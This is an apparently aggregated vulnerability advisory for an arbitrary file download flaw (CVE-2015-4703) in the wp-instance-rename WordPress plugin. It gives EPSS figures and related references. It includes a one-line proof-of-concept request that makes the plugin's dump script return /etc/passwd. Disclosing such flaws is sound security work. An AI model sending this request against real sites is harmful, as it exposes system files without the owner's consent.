Lucene search
Ethicalhack3rWPVDB-ID:3EE48860-EA39-410C-97E2-45CD5D29A119HistoryJun 23, 2015 - 12:00 a.m.
wp-instance-rename <= 1.0 - Arbitrary File Download
2015-06-2300:00:00
ethicalhack3r
wpscan.com
7
EPSS
0.007
Percentile
79.5%
The wp-instance-rename WordPress plugin was affected by an Arbitrary File Download security vulnerability.
PoC
url --data “dbname=wp&dumpfname;=/etc/passwd&backup;_folder=.” http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip
Related
nvd
nvd
CVE-2015-4703
2016-01-12 19:59:02
packetstorm
packetstorm
WordPress WP-Instance-Rename 1.0 File Download
2015-06-26 00:00:00
prion
prion
Path traversal
2016-01-12 19:59:00
cvelist
cvelist
CVE-2015-4703
2016-01-12 19:00:00
cve
cve
CVE-2015-4703
2016-01-12 19:59:02
patchstack
patchstack
WordPress Rename Plugin <= 1.0 - Absolute Path Traversal
2015-06-22 00:00:00
wpexploit
wpexploit
wp-instance-rename <= 1.0 - Arbitrary File Download
2015-06-23 00:00:00
openvas
openvas